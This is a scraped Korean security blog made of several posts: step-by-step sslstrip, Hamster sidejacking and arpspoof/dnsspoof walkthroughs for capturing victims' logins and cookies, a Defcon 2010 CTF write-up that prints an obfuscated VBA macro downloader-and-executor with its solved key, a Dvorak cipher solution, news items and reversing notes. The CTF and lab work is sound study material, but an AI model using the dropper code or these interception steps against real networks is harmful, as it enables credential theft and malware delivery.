Moxie Marinspike사람이 Blackhat에서 SSL Strip에 대해서 발표를 했었다.  

[sslstrip 동작 방식]
victim <---http---> sslstrip <---- https ----> target
 (xp)                    (backtrack)                      (gmail)

sslstrip은 중간에 프록시 방식으로 동작하며,
중요한것은 victim과 sslstrip과는 http 통신을 하고
                sslstrip과 target과는 https 통신을 한다는 것이다.

이 부분은 상당히 중요하다. 만약 victim과 sslstrip이 https통신을 한다면 victim의 IE에서는 인증서를 확인하라는 팝업창이 뜰 것이다. 물론 일반 사용자들은 그냥 "YES"를 누르겠지만 의심이 많은 사람은 인증서 보기를 클릭해 올바른 인증서인지 확인할 것이다.(실제 확인을 해보면 확인안된 인증라고 나온다.)
하지만 sslstrip이 victim과 http로 통신되기 때문에 이런 창을 나타나지 않는다. 결국 사용자는 아무 의심없이 로그인을 할 것이다.

그럼 공격방법을 간단히 설명하겠다.

[1] bt4에서 arpspoof으로 게이트웨이를 속인다.

[2] ip forwarding을 시킨다.


[3] sslstrip을 실행 시킨다.

[4] ettercap을 실행 시킨다.

[5]xp에서 gmail.google.com을 실행 한다.
아래그림에서 주소 부분을 보면 http로 접속되는 것을 알 수 있다. 이 부분이 sslstrip이 하는 중요한 역할 중 하나이다.

원래 gmail은 아래 그림 처럼 https로 접속이 된다.


로그인을 하면 http로 gmail에 접속이 된다.

[6] bt4에서 ettercap을 확인하면 id, password를  획득할 수 있다.


이 기술에 대한 내용은 동영상으로 까지 나와 있을 정도로 상세히 설명되어 있다.
하지만 몇일을 삽질했다.
http로 gmail에 로그인 창이 뜨고 id, password를 입력하면 스니핑은 되지만,
로그인에 성공하지 못하고 다시 gmail로그인 창으로 돌아 오는 현상이 계속 발생되었다.
google까지 검색해 가면서 원인 분석을 했지만 결국 sslstrip을 업그레이드 하니 성공!!!!!
아~~~ 이런 삽질은 정말 허무하다. ㅠㅠ







SideJacking : 다른 사용자의 쿠키값을 가로채 로그인 된 사용자의 이메일이나 웹페이지를 훔쳐보는 기술

몇년 전에 외국 싸이트에 무선망에서 바로 앞사람이 구글의 gmail에 로그인 하는 쿠키값을 가로채 메일을 훔쳐보는 기술이 동영상으로 나온적이 있다. 그때 테스팅했을 때는 무선랜카드가 스니핑을 지원하지 않아 몇일 삽질하다 포기했던 기억이 있는데... 이번에 hamster win32 2.0 버전이 나오면서 vmware상 이더넷 네트워크 카드로 시도를 해보았다.

                  (GateWay)
[winXP]-------┴---------- [backtrack4]

[1] winXP에서 ferret을 실행(ferret: 실질적으로 스니핑을 함)

[2] winxp 에서 hamster를 실행(프록시 서버를 만듬. 1234포트 오픈)

[3] winXP에서 IE를 proxy(port 1234)로 하여 실행 후 http://hamster/ 를 입력하면 다음과 같은 hamster 페이지가 나타남

[4] Backtrack4에서 firefox를 실행 후 www.hust.net에 접속함

[5] www.hust.net 홈페이지에 로그인함


[6] 다시 winXP에서 IE창을 확인하면 스니핑된 IP목록이 나오며, 해당 IP를 클릭하면 스니핑된 쿠키값과 url이 나타남

[7] hamster IE창의 왼쪽 프래임에서 원하는 URL를 입력하면 우측창에 로그인된 상태로 접근이 가능함

웹페이지를 스니핑 함에 있어서 상당히 유용한 툴이다.



'Security > Network' 카테고리의 다른 글

[SSL MITM Attack] sslstrip을 이용한 MITM ATTACK  (2) 2010.06.24
[arpspoofing] Arpspoof을 통한 dns변조  (0) 2010.06.21
해커의 ip가 게이트웨인것 처럼 속이고
dns를 속여 해커가 원하는 싸이트로 연결시키는 공격방법~~
아주 간단히 설명하겠다~~

[1] arpspoof 툴을 통해 victim에게 해커의 pc가 게이트웨에 인것 처럼 속인다.


[2] www.naver.com 도메인을 해커가 원하는 도메인으로 설정
220.95.152.31 --> www.naver.com의 실제 ip가 아님

[3] dnsspoof 툴을 통해 www.naver.com의 ip가 220.95.152.31 이라고 뿌림

[4] fragrouter 로 ip를 포워딩 시킴

[5] victim 컴퓨터에서 www.naver.com 을 입력하면 해커가 원하는 싸이트로 접속됨







정말 열심히 했던 대회~~~ 오랜만에 나간 대회여서 인지 감도 많이 떨어지고 엄한 삽질도 많이 했지만, 3일간 정말 열심히 했다... 아쉽게 27위했네~~~ㅋㅋㅋㅋ
왜 연휴에 대회를 하냐고~~~~마누라 넘 미안해~~^^

'Security > Defcon2010 CTF18' 카테고리의 다른 글

[CTF18] Crypto Badness 300  (0) 2010.05.31
[CTF18] Crypto Badness 100  (0) 2010.05.31

[Crypto 300]

 

[문제설명]

문제에서 제공하는 엑셀파일을 다운받아 실행하면 VB로 만든 게임이 실행된다. 양이 기어다닌다.

예전에 유행했던 프로그램이었는데…..

실제 패킷 캡쳐를 해보면 서버에서 ram.exe파일을 받아 온다. Ram.exe를 실행해도 양이 기어다닌다. 하지만 결국 이 파일은 Fake이다.



문제 파일을 다운로드 후 Passware Password Recovery kit Forensic Version 9.0으로 엑셀파일의 메크로에 설정되어 있는 암호를 크랙함

 

기존의 c300_f75bec6f545034716.xls파일에 패스워드를 대입하면 열리지 않는다.

 

Unprotected file : c300_f75bec6f545034716-unprotected.xls 에서 Visual Basic Editor를 실행  Y6HA1H” 입력하면 project에서 소스코드를 확인할 있다.

 

 

 

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _

  "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _

  szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

 

Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" _

  (ByVal hwnd As Long, _

   ByVal lpOperation As String, _

   ByVal lpFile As String, _

   ByVal lpParameters As String, _

   ByVal lpDirectory As String, _

   ByVal nShowCmd As Long) As Long

 

Private Sub GF()

    WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")

    FL = X("51092F16535C6F003A56")

    RV = URLDownloadToFile(0, WL, FL, 0, 0)

 

End Sub

 

Private Sub EX()

    Dim OF As String

    On Error Resume Next

    UP = X("51092F")

    OF = X("40521E4A574924")

    RV = ShellExecute(0, "open", OF, "", UP, 3)

 

End Sub

 

Private Function X(DI As String) As String

    Dim CK, sDO As String

    Dim lDP, iXV1, iXV2 As Integer

   

    On Error Resume Next

   

    CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _

        Worksheets("Data").Range("Z9550")

 

    For lDP = 1 To (Len(DI) / 2)

        iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))

        iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))

        sDO = sDO + Chr(iXV1 Xor iXV2)

    Next lDP

   X = sDO

End Function

 

Sub Rectangle1_Click()

    Asteroids.Show False

    Call MN

End Sub

 

Function KG()

     KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _

            Worksheets("Sheet2").Range("E8761")

End Function

 

Sub MN()

    Dim SD As Date

    Dim ED As Date

    Dim CD As Date

   

'    On Error Resume Next

   

    SD = X("071C41571D03715472")

    ED = X("071C41521D03715472")

   

    CD = Date

   

    If (CD >= SD) And (CD < ED) Then

        Call GF

        Call EX

    End If

End Sub

 

 

 

 

Sheet2(Data)를 살펴보면 visible이 숨김으로 표시되어 있으므로 변경하여 활성화 시켜준다.


 

다음과 같이 Data 쉬트가 활성화 된다.

 

다음 CK 부분이 중요함

CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _

        Worksheets("Data").Range("Z9550")

 

-AU2-

 

 

-BE4866-

 

-Z9550-

 

 

Key : a23sd21AeB349sdfWewrfw29552

 




'Security > Defcon2010 CTF18' 카테고리의 다른 글

[CTF18] '2010 Defcon' My Team(0birthday) Score  (0) 2010.06.03
[CTF18] Crypto Badness 100  (0) 2010.05.31

[crypto 100]

 

Decrypt please

Ocmln. up.'g.bjf abanfoco odrgne er yd. ypcjt d.p. /,.nnw urp yd. mroy lapy=v

Ydco y.qy ,ao ,pcyy.b gocbi a ol.jcan t.fxrapew br bry .pirbrmcjw frg aoodayv

WdcbyV Yd. t.f frg ap. nrrtcbi urp co yd. bam.oat. ru ydco t.fxrapev WzdcbyV

 

드보락(dvorak) 자판은 오거스트 드보락 박사가 제안한 영문 글자판이다.

dvorak keyboard를 이용하여 풀면 된다.

 


http://wbic16.xedoloh.com/dvorak.html

 

Simple frequency analysis should do the trick here [well, for the most part].

This text was written using a special keyboard, no not ergonomic, you asshat.

<hint> The key you are looking for is the namesake of this keyboard. </hint>

문장을 해석하면 드보락에 관한 내용이다.

 

Key : dvorak


'Security > Defcon2010 CTF18' 카테고리의 다른 글

[CTF18] '2010 Defcon' My Team(0birthday) Score  (0) 2010.06.03
[CTF18] Crypto Badness 300  (0) 2010.05.31
복사기도 다기능, 대용량으로 업그레이드 되면서 이런 사건도 일어 나는 구나...
예전에 읽었던 "네트워크를 훔쳐라"에 나온 프린트를 해킹에 이용했던 내용이 생각나는군^^


美서 급여명세·마약단속 기록도 유출

(서울=연합뉴스) 박용주 기자 = 2000년대 이후 출시된 복사기는 디지털 기능으로 중무장, 복사뿐 아니라 스캐너와 이메일 기능도 탑재하고 있다.

   스마트 복사기의 출현이 과연 좋기만 할까?
17일(현지시각) 미국 CBS방송을 보면 그렇지만은 않은 듯하다. 디지털 복사기가 개인정보가 유출되는 새로운 사각지대로 부상하고 있기 때문이다.

   CBS 조사 결과에 따르면 2002년 이후 출시된 대다수의 신형 복사기에서 보안상의 결함이 발견됐다.
   문제는 복사기를 통과하는 내용이 디지털 파일 형태로 복사기 내 하드 드라이브에 저장된다는 점이다.
   중고 복사기는 어렵지 않게 구입할 수 있고, 인터넷 상에서 공짜로 구할 수 있는 소프트웨어만 가동하면 그동안 복사기를 통과한 수많은 기록을 몇 시간이면 빼낼 수 있다.
   조사팀은 한 학교의 복사기에서 수백 명에 달하는 학생의 이름, 주소, 휴대전화 및 사회보장번호를 빼내는 데 성공했다.
   그 정도는 약과다.
   한 경찰서 복사기에선 가정폭력 고소장에 이어 마약 단속 목표 지점까지 줄줄이 쏟아져 나왔다. 뉴욕의 한 건설회사 복사기에선 이름과 주소, 사회보장번호와 함께 개인의 급여 명세가 담긴 표가 나왔다. 의료 서비스회사에선 개인의 질병 관련 기록이 추출됐다.
   민주당 에드워드 마키(매사추세츠) 하원의원은 이에 대해 우려를 표명하며 관계 당국의 조사를 촉구했다.
   미 연방거래위원회(FTC)는 이에 따라 복사기 업체와 중고 매매상, 소매업체 등을 대상으로 개인정보보호 방안 마련 작업에 착수했다.

출처 :
http://www.yonhapnews.co.kr/economy/2010/05/18/0302000000AKR20100518159500009.HTML


미국에서 이메일을 통한 부재자 투표를 실시한다는데...33개 주에서 약 330만명이 투표에 참여한다.
우리나라에서는 아직까지 시도되지 못하고 있는데(기술은 다 되어 있다고 알고 있다.)..미국은 어떤 결과가 나올지 기대된다.^^
기밀성, 무결성, 부인방지 등을 위해 보안기술이 총 동원 되야 할듯하다...^^;;;


출처 : http://news.joins.com/article/215/4163215.html?ctg=13

[기사 내용]

11월 중간선거부터 … 33개주 300만 명 대상

미국 선거에서 인터넷을 통한 투표가 본격적으로 실시될 예정이라고 뉴욕 타임스(NYT)가 9일(현지시간) 보도했다.

NYT에 따르면 최근 미국 선거지원위원회(EAC)는 11월 중간선거부터 해외 거주자와 군인 등 선거 당일 투표소에 나올 수 없는 유권자들을 대상으로 e-메일을 통해 투표권을 행사할 수 있도록 할 방침이다.

이 같은 조치는 해외거주자나 군인 등의 투표용지가 너무 늦게 도착하거나 분실되는 등의 사고가 잦은 문제점을 해결하기 위해 취해졌다. 미 선거기관의 평가에 따르면 2008년 미국 대선 당시 약 22%의 해외 거주자와 군인들이 이런 이유로 투표권을 행사하지 못했다.

e-메일 투표를 할 수 있는 유권자 수는 이번에 우선적으로 인터넷 선거가 실시되는 33개 주 내에서 300만 명에 달할 것으로 추산되고 있다. 예전에도 일부 주에서 e-메일이나 팩스 등을 통한 투표가 실시되기는 했지만 이는 일부 지역에 국한되거나 전투 중인 군인 등이 대상이었다. 이에 따라 전문가들은 본격적인 인터넷 선거제가 도입되는 이번 중간선거에서 e-메일 투표가 적지 않은 변수가 될 것으로 보고 있다.

이에 대해 사이버 보안 전문가 등은 “e-메일 투표는 해킹 등을 통해 특정 후보를 선택한 유권자의 신분이 노출될 가능성이 있다”며 “이는 비밀선거의 원칙에 위배된다”고 우려했다. 또 “투표 사이트가 악의적인 공격을 당할 경우 시스템에 문제가 생겨 투표 자체가 불가능해질 수도 있다”고 지적했다. 일각에선 “이번 인터넷 선거제는 여론을 충분히 수렴하지 않은제도이며 투표 시스템을 만든 업체가 보안 테스트를 직접 하는 것도 문제”라고 지적했다.


구조화된 예외 처리(Structured Exception Hadling)

-       SEH : OS가 발생한 예외를 구조화된 방법으로 App에게 전달하는 메커니즘을 제공함

-       예외(exception)는 예외 핸들러라고 불리는 특별한 함수로 즉각 점프하게 하는 프로그램 안에서의 특별한 조건

-       예외 핸들러는 발생한 문제점을 해결할 것인지,

                                     프로그램이 동일한 코드를 다시 실행하게 만들 것인지,

                                     프로그램의 다른 부분이 실행되게 할 것인지,

                                     프로그램을 종료할 것인지

결정함

 

 

  하드웨어 예외

-       프로세스가 만들어 내는 예외

Ex: 유효하지 않은 메모리 접근, 0나누기 등

 

  소프트웨어 예외

-       프로그램이 에러를 보고하기 위해서 예외를 생성할 때 발생

Ex: C++에서 throw키워드 이용

 


'Security > Reverse Engineering' 카테고리의 다른 글

[Reversing] Segment, Offset  (0) 2010.07.02
[Reversing] Ollydbg 단축키  (0) 2010.07.02
[Reversing]Input and Output  (0) 2010.05.10
[Reversing]실행 포멧  (0) 2010.05.08
[Reversing]API  (0) 2010.05.04

 입력과 출력

- 로우레벨 계층의 I/O 시스템 : 하드웨어 등과의 통신 담당
- 하이레벨 계층의 Win32 서브시스템 : GUI를 구현하고 사용자 입력 처리 작업 담당

  I/O 시스템

-       시스템에서 동작하는 디바이스 드라이버를 관리

-       App과 디바이스 드라이버 간의 통신 담당 커널 컴포넌트들로 구성됨

-       App의 디바이스 드라이버에 대한 요청을 전달하는 작업을 담당함

-       계층 구조로 이루어짐(각 디바이스에 대해 여러 개의 디바이스 드라이버가 스택구조로 존재할 수 있음 : 드라이버와 App 간이나 두 드라이버 간의 통신을 모니터링하거나 변경하기 위한 필터 드라이버 추가에 적합)

-       각 드라이버 간의 연결을 책임지고 담당

 

  Win32 서브시스템

-       윈도우 사용자 인터페이스의 모든 부분을 담당하는 컴포넌트

-       GDI(Graphics Device Interface)라고 하는 로우레벨 그래픽 엔진과 윈도우창, 메뉴, 사용자 입력 처리와 같은 하이레벨의 GUI를 처리하는USER컴포넌트로 구성됨

 

# Win32 서브시스템 동작방식

-       Win32 서브시스템은 모든 Win32 API를 담당하는 것이 아니고, 단지 USER, GDI 부분만을 담당함

-       커널 레벨의 WIN32K.SYS에 의해서 구현되고 유저레벨의 USER32.DLL GDI32.DLL에 의해서 관리됨

-       유저모드 DLL과 커널 컴포넌트 사이의 통신은 기존의 시스템 콜 방식을 이용해서 이루어짐

 

  객체 관리자

-       USER, GDI는 윈도우 초기 버전부터 존재해 왔으므로 커널 객체 관리자를 사용하지 않음

-       자신만의 작은 객체 관리 메커니즘 이용함

-       윈도우 창, 디바이스 컨텍스트와 같은 Win32 객체에 대한 핸들값 → 객체 테이블에 대한 인덱스

-       객체 테이블은 커널 메모리에 저장됨(읽기 모드)

-       USER, GDI 핸들 테이블은 전역(global)

'Security > Reverse Engineering' 카테고리의 다른 글

[Reversing] Ollydbg 단축키  (0) 2010.07.02
[Reversing]구조화된 예외 처리(SEH)  (0) 2010.05.10
[Reversing]실행 포멧  (0) 2010.05.08
[Reversing]API  (0) 2010.05.04
[Reversing]프로세스 동기화, 초기화 과정  (0) 2010.05.04

+ Recent posts